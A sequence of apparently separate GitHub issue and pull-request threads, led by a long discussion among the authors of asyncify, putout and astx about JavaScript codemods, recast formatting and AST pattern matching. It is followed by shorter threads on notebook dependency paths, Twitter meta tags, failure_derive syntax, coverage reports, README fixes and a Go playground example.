Integration with Putout code transformer

You can integrate easily with putout code transformer, and asyncify can be used as a plugin, similar to async-await-codemod.
A little change is required so code written in the way that jscodeshift suggests.

There was some techincal reason I called recast directly in this weird way, because normally I would use jscodeshift in the normal way, but I forget what wasn't working.  I'll look into it.  How come it wouldn't work as-is with putout though?  If running with jscodeshift, a function can process a file in any way it wants, it just has to return a string...

Oh now i remember.  When I wrote this there were too many bugs in the version of recast that jscodeshift uses, and it lags behind the latest version, so I used a later version directly in this package.  This is the kind of nasty situation that results from neither package using semver (they are both 0.x.x)

How come it wouldn't work as-is with putout though?

Putout uses dependency injection provided by jscodeshift to provide parsed AST and to determine that code was changed.

But if the transform parses the code on its own it returns a string just the same, can putout not use that returned string?
I would need a system to detect the version of jscodeshift that's injected and error out if it's too old so that users don't think codemod glitches are due to this package itself.

Also transforms can completely sidestep jscodeshift's parser dependency injection by doing
exports.parser = (code) => ...

Which I guess would be another way I could make it use the version of recast I want...

But if the transform parses the code on its own it returns a string just like any other jscodeshift transform, can putout not use that returned string?

Putout injects parsed AST to avoid duplicate parsing because it slow.

If not, then putout is not technically 100% supporting all jscodeshift transforms.

There is no such target, but the cases written in jscodeshift documentation is supported. What I want to suggest you is using putout to make transformation, it's much simpler then using jscodeshift API, or raw babel API. There is simplified declarative transform syntax described in @putout/compare and in @putout/engine-runner. So you can do more transformation with less code:
module.exports.replace = () => ({
    '__a(__args).then(__b)': '__b(await __a(__args))'
})

It will transform:
fetch('/api.json').then(parse);

to:
parse(await fetch('/api.json'));

I've been working on my own tool called astx for similar use cases, which allows mixing structural search and replace with arbitrary code to manipulate AST nodes, for maximum flexibility.
When it comes to transforming promises to async/await though, asyncify does vastly more in-depth transformations than is possible with only structural search and replace.
I understand duplicate parsing would be slow, but if I do it the way you suggest, how can I guarantee that the code is parsed with a recent-enough version of recast?

I've been working on my own tool called astx for similar use cases, which allows mixing structural search and replace with arbitrary code to manipulate AST nodes, for maximum flexibility. I still need to finish publishing the runner.

It looks very good :). Very laconic syntax, the only thing is tests count very small. Putout has more then 2500 tests, and a lot of built-in declarative plug-ins.

When it comes to transforming promises to async/await though, asyncify does vastly more in-depth transformations than is possible with only structural search and replace.

You absolutely right, and putout can handle it as well using declarative search and imperative transform.

how can I guarantee that the code is parsed with a recent-enough version of recast

I think mention supported version of jscodeshift in documentation will be enough.

and if I don't use recast, how can I guarantee that unchanged portions of the AST don't get reformatted, if the user doesn't have any code formatter setup)?

Every JavaScript project must use formatted setup, and most folks are using (even) type check :).

Converting promises to async/await is going to be a one-time operation for most codebases

What if new developer, that just joined team didn’t know all the rules related to promises in project. He writes code, and then his IDE helps him to fix it with autofix using putout integration with eslint. I think it's very useful :).

I think mention supported version of jscodeshift in documentation will be enough.

I guess but that raises the likelihood that I have to deal with issues raised by someone who didn't read that...

Every JavaScript project must use formatted setup, and most folks are using (even) type check :).

We may think it's foolish not to, but no JS project has to use a formatter.  It's nice to be able to not change the format of code that a codemod doesn't touch, so that it doesn't cause problems for people who aren't using formatters.

tests count very small

I don't know if you saw that most of my tests are organized as fixture files, test coverage isn't as high as yours but here's the coverage
-------------------|---------|----------|---------|---------|-------------------
File               | % Stmts | % Branch | % Funcs | % Lines | Uncovered Line #s
-------------------|---------|----------|---------|---------|-------------------
All files          |    89.7 |    78.82 |    88.1 |   89.72 |
 src               |   85.17 |    75.84 |   78.72 |   84.43 |
  Astx.ts          |      50 |    46.43 |      50 |      50 | ...48,169,203-236
  find.ts          |      97 |    83.02 |     100 |   96.59 | 115,157,233
  replace.ts       |   92.86 |    82.35 |   91.67 |   93.24 | 25-30,102-103
 ...compileMatcher |   95.06 |     85.4 |   95.08 |   95.55 |
  ...eanLiteral.ts |       0 |        0 |       0 |       0 | 8-14
  Capture.ts       |   95.24 |    92.86 |      80 |   95.24 | 18
  ...Implements.ts |     100 |    66.67 |     100 |     100 | 9-10
  ClassProperty.ts |   83.33 |       70 |     100 |      80 | 22
  ...nStatement.ts |      80 |       50 |     100 |      75 | 15
  ...nTypeParam.ts |   66.67 |    64.29 |     100 |      70 | 11-15,30
  ...rayMatcher.ts |   94.29 |    88.37 |     100 |    93.1 | 105-106,132-133
  ...odeMatcher.ts |     100 |     96.3 |     100 |     100 | 104
  ...Annotation.ts |     100 |    83.33 |     100 |     100 | 9
  Identifier.ts    |     100 |      100 |     100 |     100 |
  ...tSpecifier.ts |     100 |       75 |     100 |     100 | 9-10
  JSXAttribute.ts  |     100 |    66.67 |     100 |     100 | 9,15
  ...nContainer.ts |      80 |       50 |     100 |      75 | 15
  JSXIdentifier.ts |     100 |      100 |     100 |     100 |
  Literal.ts       |   92.31 |    90.91 |     100 |     100 | 23
  ...ricLiteral.ts |     100 |      100 |     100 |     100 |
  ...Expression.ts |   96.15 |       92 |     100 |   98.63 | 85
  ...ctProperty.ts |     100 |      100 |     100 |     100 |
  ...peProperty.ts |     100 |    83.33 |     100 |     100 | 9,22
  RegExpLiteral.ts |     100 |      100 |     100 |     100 |
  StringLiteral.ts |     100 |      100 |     100 |     100 |
  ...eArguments.ts |     100 |    66.67 |     100 |     100 | 9-10
  ...ySignature.ts |     100 |       80 |     100 |     100 | 9,20
  ...eParameter.ts |     100 |     87.5 |     100 |     100 | 9
  ...eReference.ts |     100 |    83.33 |     100 |     100 | 9
  TypeParameter.ts |     100 |    83.33 |     100 |     100 | 9
  ...Declarator.ts |     100 |      100 |     100 |     100 |
  indentDebug.ts   |     100 |       50 |     100 |     100 | 6
  index.ts         |     100 |    90.63 |     100 |     100 | 125-128
  sortFlags.ts     |     100 |      100 |     100 |     100 |
 src/util          |   78.41 |    51.67 |   88.89 |   79.52 |
  areASTsEqual.ts  |   82.35 |    72.22 |     100 |   92.86 | 10
  getFieldNames.ts |     100 |      100 |     100 |     100 |
  ...dOrReplace.ts |     100 |      100 |     100 |     100 |
  template.ts      |   69.81 |    29.41 |   83.33 |   69.23 | 15-19,47-70,73
-------------------|---------|----------|---------|---------|-------------------

Does putout have a placeholder syntaxes for nodes that aren't expressions like ObjectProperty etc?  Does it support reshuffling properties like the following?
exports.find = `{ $_before, foo: 1, $_after }`
exports.replace = `{ $_before, foo: 1, rest: { $_after } }`

What if new developer, that just joined team didn’t know all the rules related to promises in project.

Sure, I'm just saying, I really don't think people will be running asyncify often enough that we should prioritize speed over correctness.

Now that i think about it though, we could do a compromise solution: I could add another entry module that parses using the jscodeshift api, so you can call that one

The eslint folks were interested in working on an async-await autofix at one point too, but asyncify is invasive enough that I think it should be used with caution, rather than an always-autofix manner

Plus, it can still mess up comments on any version of recast.  So dangerous to use automatically all the time

Does putout have a placeholder syntaxes for nodes that aren't expressions like ObjectProperty etc? Does it support reshuffling properties like the following?

exports.find = `{ $_before, foo: 1, $_after }`
exports.replace = `{ $_before, foo: 1, rest: { $_after } }`

It will be something like this:

That's right, putout has IDE to write plugins fast :).

Plus, it can still mess up comments on any version of recast. So dangerous to use automatically all the time
Putout preserves comments

We may think it's foolish not to, but no JS project has to use a formatter. It's nice to be able to not change the format of code that a codemod doesn't touch, so that it doesn't cause problems for people who aren't using formatters

Look, recast always make your code a mess, I have a lot fixtures, where code after recast looks really weird. And that's OK, because ESLint can make everything  shine :). Here is one of examples of raw recast transform:
before -> after
This is after calling path.remove() on unused variables.

Look, recast always make your code a mess, I have a lot fixtures, where code after recast looks really weird. And that's OK, because ESLint can make everything shine :).

Yeah its output can be goofy sometimes. But the main codebase I made asyncify for, sequelize, doesn't use a formatter, and I had to make sure my PRs didn't have irrelevant changes in the diffs.  Recast was the only thing I know of that allowed me to do this.  So I'm not going to reformat users' entire files by default.  I have different requirements than you, it's great that you're showing me what putout has to offer but I don't want you to tell me what you think I need.
That's cool that you made a putout IDE with AST Explorer.  If putout can do enough things that astx can do I might switch to it.  Can it match a series of statements, or just single statements and expressions?  Can replace functions access the captured nodes and paths, or can they only be used in replacement strings?

One of the most involved refactorings I did was
exports.astx = ({ astx, statements, j }) => {
  astx.findStatements`
    const code = $code
    const root = j(code)
    const result = addImports(
      root,
      $imports
    )
    expect(result).to.deep.equal($expectedReturn)
    expect(root.toSource()).to.equal($expectedCode)
  `.replace(({ captures: { $imports } }) => {
    if ($imports.quasi)
      return statements`
        testCase({
          code: $code,
          add: ${j.stringLiteral($imports.quasi.quasis[0].value.raw)},
          expectedCode: $expectedCode,
          expectedReturn: $expectedReturn,
        })
      `
  })
}

Which made a bunch of changes like
-    it(`leaves existing non-default imports with alias untouched`, function() {
-      const code = `import {foo as bar} from 'baz'`
-      const root = j(code)
-      const result = addImports(
-        root,
-        statement`const {foo: qux} = require('baz')`
-      )
-      expect(result).to.deep.equal({ qux: 'bar' })
-      expect(root.toSource()).to.equal(code)
+    it(`leaves existing non-default imports with alias untouched`, function () {
+      testCase({
+        code: `import {foo as bar} from 'baz'`,
+        add: "const {foo: qux} = require('baz')",
+        expectedCode: code,
+        expectedReturn: { qux: 'bar' },
+      })
     })

(It sounds like you have a syntax for capturing quasis inside template string literals which is great, but I can't quite tell from the readme how that works)

It's also worth noting that asyncify really wasn't intended to work like a linting rule, but rather as an aid to human refactoring.  For one thing, it sometimes has to rename variables, and it can't pick a semantically good renaming like a human can; it has to munge them.  Here was a real example from sequelize tests:

It was okay to leave user0 in these tests.  But in many cases it will be best for a dev to check through the output and choose better variable names.
Also, sometimes it's a matter of personal preference whether to use async/await or a promise chain, especially inside Promise.all, and no automated transform that always runs on a codebase would be able to satisfy everyone.  For example, if I were refactoring by hand, I probably would have left this .catch call as-is rather than converting to the clunky (async () => { ... })():

One of the most involved refactorings

For putout it will look this way:
const {operator, template, types} = require('putout');
const {compare, getTemplateValues} = operator;
const {Identifier} = types;

const patterns = [
    'const code = __a',
    'const root = j(code)',
    'const result = addImports(root, __b)',
    'expect(result).to.deep.equal(__c)',
    'expect(root.toSource()).to.equal(__d)',
];

const buildTestCase = template(`
    testCase({
        code: CODE,
        add: ADD,
        expectedReturn: EXPECTED_RETURN,
        expectedCode: EXPECTED_CODE,
    })
`);

const getValue = (body, position) => {
    const currentNode = body[position];
    return getTemplateValues(currentNode.expression || currentNode, patterns[position]);
};

module.exports.match = () => ({
    'it(__a, __b)': ({__b}, path) => {
        const {body} = __b.body;

        for (let i = 0; i < patterns.length; i++) {
            const pattern = patterns[i];
            const currentNode = body[i];

            if (!compare(currentNode, pattern))
                return false;
        }

        return true;
    }
});

const CODE_POSITION = 0;
const ADD_POSITION = 2;
const EXPECTED_RETURN_POSITION = 3;
const EXPECTED_CODE_POSITION = 4;

module.exports.replace = () => ({
    'it(__a, __b)': ({__b}, path) => {
        const {body} = __b.body;
        const {__a: CODE} = getValue(body, CODE_POSITION);
        const {__b: ADD} = getValue(body, ADD_POSITION);
        const {__c: EXPECTED_CODE} = getValue(body, EXPECTED_RETURN_POSITION);
        const {__d: EXPECTED_RETURN} = getValue(body, EXPECTED_CODE_POSITION);

        const ast = buildTestCase({
            CODE,
            ADD,
            EXPECTED_CODE,
            EXPECTED_RETURN,
        });

        __b.body.body = [
            ast,
        ];

        return path;
    }
});

Little bit more code, but most of the time I'm working with short patterns, 5 lines of code with absolutely same name and meaning it's a rare case, anyways, it is possible :).

or one thing, it sometimes has to rename variables, and it can't pick a semantically good renaming like a human can; it has to munge them.

That's what I'm telling about, you got a lot  expertise in converting chaining to async, and case with auto-renaming can be handling during coding review.

I see, yeah putout seems to have a great API for doing a bunch of codemods en masse.  My main goal with astx is to do project-specific refactoring easily, though I've tried to make the API usable for writing general purpose codemods as well.

I see that astx very powerful, would be amazing to use it in putout, the couple downsides is:

how to install it, looks like it is not published to npm
I think that using jscodeshift makes things slower (need benchmarks, but raw babel must be much faster)
compatibility with current format of templates, I'm using names like __a, anyways long identifier names is also good :)
I need a function compare which I could reuse over codebase:

compare('const a = `hello`', 'const __a = `__b`');
compare(node, 'const __a = `__b`');

It seems to me that if we combine efforts, we can get a universal tool for working with AST that will significantly outperform existing solutions.
What I'm thinking most of the time is improving and simplifying ecosystem of plugins.
Current situation with codemods looks like a mess, you need to download some file, to run it with external tools without knowing the progress, would be much better to use npm for this purpose and consolidate the result on a permanent basis, so there will never be a problem of broken backward compatibility like I made for file manager for the web in @putout/plugin-cloudcmd.
Here is similar project for Go but the way: ruleguard.

Here is simpler solution :)
const from = `
	it(__a, function() {
        const code = __b;
        const root = j(code);
        const result = addImports(root, __c);
        expect(result).to.deep.equal(__d);
        expect(root.toSource()).to.equal(__e);
    });
`;

const to = `
	it(__a, function() {
        testCase({
            code: __b,
            add: __c,
            expectedReturn: __d,
            expectedCode: __e,
        })
    })
`;

module.exports.replace = () => ({
    [from]: to,
})

Ah yes.  It's kind of like how it's difficult to match just an object property, syntactically You have to write the object around it.  Though I've been thinking of making a special $ObjectProperty(Key, Value) syntax for this.  There was a time recently when I needed to generate import statements from a bunch of key-value pairs.

By the way, since this package mostly uses the babel API instead of ast-types, I could try to make an entry point that doesn't use recast at all if you're interested.  It might have less comment issues, because Recast uses the comments field instead of leadingComments etc, so the babel APIs don't move the recast comments like they should

Yeah I've thought about making a babel version of astx as well.  And yeah I still need to publish it, need to finalize and document some aspects of the CLI and transform file format.
It might be hard for us to combine efforts because I can be opinionated :P but we are after a lot of the same things so we should at least learn about each other's approaches.
After some false starts with my compare implementation I refactored into a compileMatcher function that takes the query AST and preprocesses it into a matcher function.  For example in this step it checks if an identifier is a capture variable or not, if it is it creates a capture/back reference function for that AST node, otherwise it just creates a function that matches only identifiers with the same name.  That makes running the matcher very efficient, and solved several other technical problems I was having as well.

Your implementation of compare looks similar to what I started with, walking the properties of the template nodes (called query in my code, whatever) and comparing them to the source code AST path to be matched.  I ran into some kind of difficulties with that approach after awhile, I forget what, but they made me decide to refactor it into a precompilation step that generates a CompiledMatcher object:
export interface CompiledMatcher {
  predicate?: false
  captureAs?: string
  arrayCaptureAs?: string
  match: (path: ASTPath<any>, matchSoFar: MatchResult) => MatchResult
  nodeType?: keyof typeof t.namedTypes | (keyof typeof t.namedTypes)[]
}

Being able to have the arrayCaptureAs field on this object proved especially useful for capturing array slices into a given variable for various different nodes that have array properties.
For example, with the query (template):
import { $_a, foo } from 'foo'

The ImportSpecifier node $_a gets compiled into an object with arrayCaptureAs: $_a, and the compiled array matcher for ImportDeclaration.specifiers sees that and is able to capture all specifiers before foo into $_a.
The same happens with a type parameters, for example:
class A<$_a, foo> { }

In this case the $_a TypeParameter gets compiled into an object with arrayCaptureAs: $_a, and the compiled array matcher for TypeParameterDeclaration.params is able to capture all params before foo into $_a.
In astx, GenericNodeMatcher.ts is what compiles a matcher for an arbitrary node type that compares each of its properties one by one.  But I have case-by-case logic for certain node types, for instance the function to compile an ImportSpecifier looks to see if the identifier is a capture variable, and if so return a capturing matcher, otherwise it falls back to GenericNodeMatcher.ts.  There's also GenericArrayMatcher.ts where the logic for matching array properties and capturing array slices goes.

@coderaiser Okay I just finally added some basic documentation for the CLI and transform file format and published astx, if you want to try it out

I made nice find output for the CLI:

Here is what I came up with https://github.com/coderaiser/putout/commit/5846c23952d345d91af8cadec4a6d24351169ed4
Fresh lint and test of 1727 files sped up 1m42s -> 1m30s.

No idea really, I've never looked at regex implementations much.  I do wonder how my approach to array matching with variable-length placeholders compares to how various regex implementations work

@coderaiser I just ran into that issue with recast setting loc to null that you reported.  It's definitely horrifying to see how it modifies fields output by the parser, I can definitely see why you're advocating for requiring users to use a code formatter if they want to preserve formatting.
I still think being able to reprint a modified AST and preserve formatting of untouched nodes is a worthwhile goal, but the way recast does it seems like a mess...
Btw, I noticed another tool similar to our stuff called semgrep.  Interestingly it supports a broad variety of languages, and is probably extremely fast since the parsers are built with C.
So it's interesting, this is a burgeoning space and it seems like collective consciousness is developing about the need for structural search and replace.  But I think there's still a need for tools dedicated to JS.  For example semgrep doesn't support Flow syntax right now, and I doubt it will ever support all the different optional syntaxes people can configure in Babel, like the pipeline proposals.  I think it will always be a jack of all trades, master of none.
I've been rewriting my astx replacement engine to be really smart about transmuting captured nodes to fit in the replacement context.  For example:
// before
const foo = require('foo')
const bar = require('bar')
const {glom, qlx} = require('foo')
const {bar: barr, default: qux} = require('bar')

// -f 'const $1 = require("$2")' -r 'import $1 from "$2"'

// after
import foo from 'foo'
import bar from 'bar'
import {glom, qlx} from 'foo'
import qux, {bar as barr} from 'bar'

I'm also planning to change my array matching syntax to use $$ instead of $_, for example [foo, $$rest] would match an array with foo as the first element and then capture the rest of the elements into $$rest.  This should be more obvious, especially to anyone familiar with how in jQuery $ selects one element and $$ selects multiple.  With this change, and initial $_ would be the new escape sequence for literal $.
After I finish this I'll probably either convert it to pure Babel or figure out a way to make pluggable jscodeshift/Babel backends.

@coderaiser I just ran into that issue with recast setting loc to null that you reported. It's definitely horrifying to see how it modifies fields output by the parser, I can definitely see why you're advocating for requiring users to use a code formatter if they want to preserve formatting.

recast is amazing for transforming as minimal as possible, but maintainers usually do not merge PR's so I had to make a fork with my umerged PR's @putout/recast.

Btw, I noticed another tool similar to our stuff called semgrep

Looks good, I'll test it and tell what it can find:
=== setting up agent configuration
| using 652 semgrep rules configured on the web UI
| using 477 code asset inventory rules
| using default path ignore rules of common test and dependency directories
| found 2644 files in the paths to be scanned
| skipping 474 files based on path ignore rules
=== looking for current issues in 2170 files

What I see right now: it doesn't transform, only search without progress bar, who knows when it's done 🤷♂.
By the way, have you seen my PR?
Also during work on https://github.com/coderaiser/putout/issues/54 I came up to convert-new-promise-to-async rule in @putout/plugin-promises. This is the simplest variant of converting Promise to async-await, but it designed to be absolutely safe (as it's possible).

There's also a cross-language tool called comby, but AFAICT it's not actually AST-based and I don't like its placeholder syntax at all.

comby much more powerful when it go's to modifications of code, but yes the syntax is strange. I think that point that it's not compatible with JavaScript is disadvantage, of course it's easy choice and now everything can be supported, just use :[args] and be happy with a lot of languages. Anyways ability to parse so many languages with one parser is mind blowing 🤯 , and sounds very interesting (and has video presentation), but yes it can be jack of all trades. It has no built-in rules, so I have no idea what I can use it for.

This is the kind of JS-specific attention to detail I think cross-language tools will probably never find time to implement.

I agree, I think a lot JS-specific features will be missed in such tools. About imports, I'm using __imports in @putout/compare and have two plugins to convert to ESM and CommonJS:

@putout/plugin-convert-commonjs-to-esm
@putout/plugin-convert-esm-to-commonjs

My point isn't just about creating the ability to convert requires to imports but that the transmutation opens up new possibilities and ease of transformation.  For example say for whatever reason you wanted to refactor
const {default: foo, bar: baz} = loadStuff()

To
import foo, {bar as baz} from 'stuff'

Or vice versa.  Niche transformations like this are trivial to do with the new replacement engine compared to previous approaches.  const $1 = loadStuff() to import $1 from 'stuff'.
Cases like this may seem kind of unlikely, but I believe this will prove surprisingly useful for unanticipated use cases, because refactoring use cases can vary wildly.
So my goal is to make a system so powerful and flexible that I'm able to accomplish transformations I can't even anticipate at the moment with it.  I think a lot of linting rules for obvious mistakes like $cond ? $x : $x tend to be simple patterns, but spur-of-the-moment refactoring is a bigger challenge.  (Which I'm guessing is why semgrep doesn't support capturing arrays of nodes and interpolating them in replacements, and that's kind of difficult with putout right now too).
Another thing I see a need for is using one pattern to capture where an identifier gets bound to scope, and then doing a find/replace on patterns that refer to that same identifier binding, rather than any identifier with the same name.  Because doing scope lookups with recast/babel APIs is still tedious.  I haven't decided what the API for finding scoped bindings with patterns would look like yet though.
Semgrep is weird to me because I can't tell if the pattern language has a precise grammar for how capture variables and ... fit into to target language, or if it's doing some kind of string preprocessing instead.  (And how does it distinguish between the ... match operator and matching and array or object spread, for example.)  It seems poorly specified.

So my goal is to make a system so powerful and flexible that I'm able to accomplish transformations I can't even anticipate at the moment with it. I think a lot of linting rules for obvious mistakes like $cond ? $x : $x tend to be simple patterns, but spur-of-the-moment refactoring is a bigger challenge. (Which I'm guessing is why semgrep doesn't support capturing arrays of nodes and interpolating them in replacements, and that's kind of difficult with putout right now too).

This is a good goal :) and putout has different set of goals:

do a practical transformation, that will be used in a day-to-day basis;
work fast even when there is a lot rules that should be run;
easily writable and testable, stable and expandable rules;

So I’m working on practical things that improves JavaScript code, not abstract things that I can't imagine. If I trap in case when I have to do the task of capturing arrays of nodes and interpolating them in replacements more often then never I’ll implement such things. All putout evolution based on needs, not on thoughts.
Anyways, different projects set different goals, and there is always things that we can learn on every approach :).

Another thing I see a need for is using one pattern to capture where an identifier gets bound to scope, and then doing a find/replace on patterns that refer to that same identifier binding, rather than any identifier with the same name. Because doing scope lookups with recast/babel APIs is still tedious. I haven't decided what the API for finding scoped bindings with patterns would look like yet though

I’m OK with Babel API for work with scopes, but I understand what are you talking about. I’m also have no idea how it can be expressed in declarative way (especially with keeping in mind compatibility with JavaScript syntax), but I with pleasure take a look at what you will came up with :).

Semgrep is weird to me because I can't tell if the pattern language has a precise grammar for how capture variables and ... fit into to target language, or if it's doing some kind of string preprocessing instead. (And how does it distinguish between the ... match operator and matching and array or object spread, for example.) It seems poorly specified.

That’s true, but video presentation really interesting, this guy made a lot of work building universal AST for so many languages.
What I understand well, that if you doing linter for a language then you should definitely program on it every day, in other case you just want trap on a lot issues that every programmer trap and that can be fixed. Same go’s for frameworks, to build a good quality tool it should be used a lot.


Add custom path (default to local where notebook is created) where to detect and install dependencies

Is your feature request related to a problem? Please describe.
Currently notebook install on local path where the notebook is. This is not always a nice solution, if different notebooks share same dependencies installed in main directory of the ML project.
Describe the solution you'd like
A clear and concise description of what you want to happen.
Describe alternatives you've considered
A clear and concise description of any alternative solutions or features you've considered.
Additional context
Add any other context or screenshots about the feature request here.

Issues go stale after 90d of inactivity.
Mark the issue as fresh with /remove-lifecycle stale.
Stale issues rot after an additional 30d of inactivity and eventually close.
If this issue is safe to close now please do so with /close.
/lifecycle stale

Stale issues rot after 30d of inactivity.
Mark the issue as fresh with /remove-lifecycle rotten.
Rotten issues close after an additional 30d of inactivity.
If this issue is safe to close now please do so with /close.
/lifecycle rotten

Rotten issues close after 30d of inactivity.
Reopen the issue with /reopen.
Mark the issue as fresh with /remove-lifecycle rotten.
/close

@sesheta: Closing this issue.

In response to this:

Rotten issues close after 30d of inactivity.
Reopen the issue with /reopen.
Mark the issue as fresh with /remove-lifecycle rotten.
/close

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository.


Adds Twitter metatags

What's this PR do?
Adds Twitter Meta tags on campaign + RB perma link page to create the large summary card
How should this be reviewed?
I gave a temp port / url to my local using ngrok & used the Twitter validator

Any background context you want to provide?
The metatag module could probably use a cleanup, so not the prettiest code in the world but it works for now.
Relevant tickets
Fixes #hmmm, I think i need to make one
here is the trello card https://trello.com/c/4ryiAJ15/99-1-as-an-admin-i-want-to-implement-twitter-cards-to-the-main-site-so-that-diane-can-push-campaigns-on-twitter-more-successfully
Checklist

[ ] Tested on staging.

Did some code cleanup, verified its still working,
Campaign page

Reportback Permalink

And also checked nothing broke Facebook shares,
Campaign page

Reportback Permalink

@angaither since the testing looks good ^ I think this is ready for review

👍


allow accessing attributes and methods in #[fail(display=)] string interpolation

In error-chain, I had stuff like:
    ItemAlreadyExists(iid: ItemID) {
      description("An Item already exists.")
      display("The Item {} already exists", iid.0)
    }

but it appears that accessing attributes like this is illegal in failure_derive:
    #[fail(display="The Item {} already exists", _0.0)]
    ItemAlreadyExists(ItemID),

leads to
error: expected one of `(`, `,`, or `=`, found `.`
   --> pandt\src\types.rs:747:52
    |
747 |     #[fail(display="The Item {} already exists", _0.0)]
    |                                                    ^ expected one of `(`, `,`, or `=` here

actually, I made a mistake, that's not the right error. I'm just getting a general "Failed to parse input" error, but I haven't figured out if this is exactly what's causing the parsing error...

This is an unfortunate limitation of the rustc attribute syntax; once attributes are more flexible, I intend to make this work more like how you would expect it to (self.0 instead of _0, support methods and so on).
I was working on a PR to make rustc accept more syntax here, but I dropped the ball on it: https://github.com/rust-lang/rust/pull/45244


remove Guava dependency from mobius-test

It's better to not add a Guava version to dependent projects' class paths, and the usage
was very limited.

Codecov Report

Merging #33 into master will not change coverage.
The diff coverage is 50%.

@@            Coverage Diff            @@
##             master      #33   +/-   ##
=========================================
  Coverage     74.17%   74.17%
  Complexity      222      222
=========================================
  Files            63       63
  Lines          1305     1305
  Branches         67       67
=========================================
  Hits            968      968
  Misses          323      323
  Partials         14       14

Impacted Files
Coverage Δ
Complexity Δ

...n/java/com/spotify/mobius/test/TestWorkRunner.java
0% <0%> (ø)
0 <0> (ø)
:arrow_down:

...ava/com/spotify/mobius/test/RecordingConsumer.java
65.51% <100%> (ø)
5 <0> (ø)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 68c884e...811ba59. Read the comment docs.


Associate obs inlet with fp_height

At the moment obs data for each site is selected by specifying an inlet list in the ini file. You then specify a separate fp_height list to get the right footprints. But this can't handle a case where the obs inlet changes halfway through a year, such as the TAC medusa in 2017. In this case, we want inlet=100m, fp_height=100m for January, then inlet=185m, fp_height=185m for the rest of the year. We can select a range of inlet heights for the obs using slice, but there isn't currently a way to associate the 100m fps with the 100m obs and the 185m fps with the 185m obs.
One possible solution would be to add duplicate entries of the same "site", but with different inlet and fp_height values. But the fp_all dictionary is not set up to handle this at the moment. So either this dictionary could be changed so that it distinguishes between different inlets at the same height, or some option to combine the data upfront could be added (e.g. changing fp_height in the ini file into a dictionary keyed by the obs inlet).

Need to think about BSD too. For the MD you need to pick 108m fps before 2017-03-17 15;00, and 248m fps after that time. So maybe that would advocate for using a dictionary with the obs inlet as the keys, and either a list or a slice to select corresponding fp_heights for each obs inlet


v0.13.1 Merge

Update the Avesha Repository with the latest release from Kubernetes-Sigs.
Signed-off-by: Will Marchesi<EMAIL_ADDRESS>

Pull Request Test Coverage Report for Build<PHONE_NUMBER>

531 of 758 (70.05%)  changed or added relevant lines in 26 files are covered.
17 unchanged lines in 7 files lost coverage.
Overall coverage increased (+0.3%) to 69.211%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

source/ambassador_host.go
3
5
60.0%

endpoint/endpoint.go
2
5
40.0%

source/gateway.go
19
22
86.36%

source/gateway_tcproute.go
43
47
91.49%

provider/zone_id_filter.go
0
5
0.0%

provider/dyn/dyn.go
1
8
12.5%

provider/tencentcloud/tencent_cloud.go
27
53
50.94%

provider/tencentcloud/dnspod.go
155
186
83.33%

provider/plural/plural.go
43
80
53.75%

provider/tencentcloud/privatedns.go
176
214
82.24%

Files with Coverage Reduction
New Missed Lines
%

provider/akamai/akamai.go
1
72.06%

provider/ultradns/ultradns.go
1
82.05%

provider/godaddy/godaddy.go
2
78.25%

source/gateway.go
2
81.22%

provider/alibabacloud/alibaba_cloud.go
3
60.88%

provider/rcode0/rcode0.go
3
84.82%

provider/linode/linode.go
5
80.21%

Totals

Change from base Build<PHONE_NUMBER>:
0.3%

Covered Lines:
12098

Relevant Lines:
17480

💛  - Coveralls


[url_launcher] Improve README and example

Fixes the README and example to properly demonstrate using canLaunch
to adjust UI, rather than as a direct wrapper around launch (which
serves no useful purpose given that launch can already return
failure).
Also makes some minor organizational improvements to the README (e.g.,
fixing the fact that the discussions of iOS and Android configuration
were separated by the inline example for some reason).
Pre-launch Checklist

[x] I read the Contributor Guide and followed the process outlined there for submitting PRs.
[x] I read the Tree Hygiene wiki page, which explains my responsibilities.
[x] I read and followed the relevant style guides and ran the auto-formatter. (Unlike the flutter/flutter repo, the flutter/plugins repo does use dart format.)
[x] I signed the CLA.
[x] The title of the PR starts with the name of the plugin surrounded by square brackets, e.g. [shared_preferences]
[ ] I listed at least one issue that this PR fixes in the description above.
[x] I updated pubspec.yaml with an appropriate new version according to the pub versioning philosophy, or this PR is exempt from version changes.
[x] I updated CHANGELOG.md to add a description of the change, following repository CHANGELOG style.
[x] I updated/added relevant documentation (doc comments with ///).
[ ] I added new tests to check the change I am making, or this PR is test-exempt.
[x] All existing and new tests are passing.

If you need help, consider asking for advice on the #hackers-new channel on Discord.

@blasten I thought I'd update this based on our recent discussion while it was top of mind :)

Thanks, this is nice!


Adjust the emoji search for iPad

The new emoji search doesn't look good on iPad:

Fix this before the 9.0 release.

The toolbar has been updated to only apply a width to the emoji list.


Example on golang.org for Parser.ParseFile fails with No such file or directory

Please answer these questions before submitting your issue. Thanks!
What version of Go are you using (go version)?
n/a (error is on golang.org)
What operating system and processor architecture are you using (go env)?
n/a
What did you do?
Visit https://golang.org/pkg/go/parser/#example_ParseFile (specifically, the example for ParseFile).
Click Run to run the example.
What did you expect to see?
Output of the program.
What did you see instead?
open example_test.go: No such file or directory
Program exited.

The example is being run in the (Go Playground)[https://play.golang.org/]
which is run with various restrictions, including (filesystem restrictions)[https://blog.golang.org/playground#TOC_3.2.]. I dont think this example is supposed to run in the playground.
Does the example work when you copy it to a new package and include a valid 'example_test.go' file?

The example depends on its own file in the go/parser package: https://golang.org/src/go/parser/
I guess a way to make it work in the playground would be for the example to first write a file to disk, or to use a buffer/string as the source.

I'll write up a quick CL doing that.

In (Inside the Go Playground)[https://blog.golang.org/playground] its mentioned that zip files may be uploaded for the purpose of examples. Perhaps uploading example_test.go is a better solution?

I think that's a bit overkill. If the purpose of the example was precisely to use a file via filename and not a string/bytes/reader via src, then we can just make the example write the sample source to disk first.


Update README.md

Trying to make it more consistent with other broccoli-plugins.
I would also like to propose description for all options including sourceTree argument. Accurate description for the arguments and all available options make it very helpful for someone like me who is using build tool for the first time. Thanks.

this is now outdated


Update error-reference.md for error 7003

Provide an alternative solution to error 7003. Since what we ultimately want to do is provide a guarantee that Kernel#raise exists on the class being mixed into at runtime, requires_ancestor is a viable alternative.
Motivation

I think providing both solutions gives the user choice. This would also help provide some visibility into this expirimental feature and help drive testing it.
Test plan

This is a documentation change, test changes are required.

